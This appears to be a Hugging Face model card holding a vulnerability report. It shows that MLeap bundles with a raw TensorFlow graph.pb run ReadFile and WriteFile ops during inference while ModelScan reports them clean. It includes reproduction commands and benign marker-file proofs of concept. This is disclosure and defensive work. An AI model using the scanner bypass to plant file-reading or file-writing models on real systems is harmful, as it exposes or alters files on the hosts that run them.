--- license: other tags: - security - model-format - mleap - tensorflow - proof-of-concept library_name: other --- # MLeap raw TensorFlow `graph.pb` executes file I/O ops while scanner reports clean ## Submission - Data format: MLeap Bundle.ML with TensorFlow `root/graph.pb` - Suggested title: MLeap raw TensorFlow `graph.pb` executes file I/O ops while scanner reports clean - Severity: High - Impact: model-carried TensorFlow `ReadFile` and `WriteFile` operations execute during MLeap inference while the MLeap/raw-GraphDef scan path reports zero issues - Affected runtime verified: `ml.combust.mleap:mleap-tensorflow_2.13:0.24.0` - Scanner verified: ModelScan `0.8.8` - Not claimed: arbitrary native code execution ## Executive summary MLeap Bundle.ML can store a TensorFlow model as a raw GraphDef at `root/graph.pb`. MLeap's `TensorflowTransformer` imports that graph and executes it during normal transform/inference. ModelScan scans the same nested `root/graph.pb` using its TensorFlow-op scanner but reports zero issues for the raw GraphDef/MLeap bundle form, even when the graph contains TensorFlow file I/O operations that are considered unsafe and are flagged when wrapped as a SavedModel control. This repository includes two benign PoCs: - `readfile/`: reads a local marker file and returns the marker string as model output. - `writefile/`: writes a benign local marker file during inference. The dangerous behavior is carried by the MLeap model artifact. The reviewer does not run attacker code outside model loading/inference; the verifier only loads the bundle and calls transform. ## Why this is security-relevant Model scanning and model runtime disagree about the same TensorFlow graph. A repository/service could accept an MLeap bundle as scanner-clean while MLeap later executes TensorFlow file I/O ops from the bundle during inference. The `ReadFile` primitive demonstrates local file disclosure into a model output, and the `WriteFile` primitive demonstrates file creation/modification on the runtime host. The PoCs use harmless marker paths and marker strings. ## Root cause There are two parts: 1. Runtime: MLeap imports a raw `GraphDef` from `root/graph.pb` and executes nodes listed by the MLeap model JSON. 2. Scanner mismatch: ModelScan recognizes the nested `root/graph.pb` and runs `SavedModelTensorflowOpScan`, but the raw GraphDef form is not interpreted the same way as a SavedModel protobuf. The equivalent SavedModel control is flagged as HIGH for `ReadFile`, while the MLeap bundle/raw GraphDef path reports zero issues. ## Repository contents ```text readfile/mleap_tf_readfile_bundle.zip MLeap ReadFile bundle readfile/readfile_graph.pb raw GraphDef embedded in the bundle readfile/readfile_saved_model.pb SavedModel control containing the same op readfile/verify_poc.scala verifier used to load and transform the bundle readfile/mleap_tf_readfile_runtime_output.txt runtime output showing marker disclosure readfile/modelscan_* scanner outputs writefile/mleap_tf_writefile_bundle.zip MLeap WriteFile bundle writefile/writefile_graph.pb raw GraphDef embedded in the bundle writefile/verify_poc.scala verifier used to load and transform the bundle writefile/runtime_output.txt runtime output showing marker write writefile/modelscan_* scanner outputs SHA256SUMS.txt hash manifest ``` ## Reproduction Install Java, Coursier, and ModelScan, then fetch MLeap TensorFlow: ```bash hf download pragnyanramtha/mleap-tf-raw-graphdef-unsafe-ops-poc --local-dir mleap-poc COURSIER_CACHE=/tmp/mleap-coursier-cache \ cs fetch --classpath ml.combust.mleap:mleap-tensorflow_2.13:0.24.0 > mleap-tf.classpath ``` ReadFile runtime proof: ```bash cd mleap-poc/readfile mkdir -p classes /tmp/mleap-readfile printf MLEAP_TF_READFILE_MARKER > /tmp/mleap-readfile/source.txt CP=$(cat ../../mleap-tf.classpath) cs launch scalac:2.13.16 -- -classpath "$CP" -d classes verify_poc.scala java -cp "classes:$CP" LoadRunMLeapTfReadBundle \ "jar:file:$PWD/mleap_tf_readfile_bundle.zip" \ /tmp/mleap-readfile/source.txt ``` Expected output: ```text LOAD_OK root=ml.combust.mleap.tensorflow.TensorflowTransformer INFER_OK outputs=1 OUTPUT_0_RAW=MLEAP_TF_READFILE_MARKER ``` WriteFile runtime proof: ```bash cd ../writefile mkdir -p classes /tmp/mleap-writefile CP=$(cat ../../mleap-tf.classpath) cs launch scalac:2.13.16 -- -classpath "$CP" -d classes verify_poc.scala java -cp "classes:$CP" LoadRunMLeapTfBundle \ "jar:file:$PWD/mleap_tf_writefile_bundle.zip" \ /tmp/mleap-writefile/marker.txt ``` Expected output: ```text LOAD_OK root=ml.combust.mleap.tensorflow.TensorflowTransformer INFER_OK outputs=0 MARKER_EXISTS=true MLEAP_TF_WRITEFILE_MARKER ``` ## Scanner proof Run ModelScan on the MLeap bundle and the SavedModel control: ```bash modelscan -p readfile/mleap_tf_readfile_bundle.zip -r json --show-skipped modelscan -p readfile/readfile_graph.pb -r json --show-skipped modelscan -p readfile/readfile_saved_model.pb -r json --show-skipped ``` Observed bundle/raw-GraphDef result: ```text Scanning mleap_tf_readfile_bundle.zip:root/graph.pb using modelscan.scanners.SavedModelTensorflowOpScan total_issues: 0 scanned_files: ["mleap_tf_readfile_bundle.zip:root/graph.pb"] ``` Observed SavedModel control: ```text total_issues_by_severity: HIGH: 1 description: Use of unsafe operator 'ReadFile' from module 'Tensorflow' severity: HIGH ``` The captured scanner outputs are included in each subdirectory. ## Hashes ```text 07e435e47b0068ca6fcd7d760262d122da419c642e3399949df730799e9eb4a6 readfile/mleap_tf_readfile_bundle.zip 8f0e9f6b5f385ef4beabcdd52a3e9274589ba821ebd1a17cef0bc2f2e1d98cf9 readfile/readfile_graph.pb 1c18b89493fa9b2d3f5654093caafda67006a93c3a2826ac32306e51c5f1c2a9 readfile/readfile_saved_model.pb 2cd2e3dae5ddea26c9cfea76b2af22d615401f9ee77dd33cc639df62dc2c5971 writefile/mleap_tf_writefile_bundle.zip ``` ## Suggested fix Model scanners should parse raw TensorFlow GraphDef files embedded inside MLeap bundles as GraphDef, not only SavedModel-like protobufs. MLeap deployments should reject or sandbox TensorFlow graphs containing file I/O ops unless explicitly allowed. The runtime can also gate dangerous TensorFlow ops before importing/executing `root/graph.pb`. ## Limitations The PoCs use benign marker files. This report demonstrates model-carried local file read/write primitives and scanner/runtime mismatch, not arbitrary native code execution.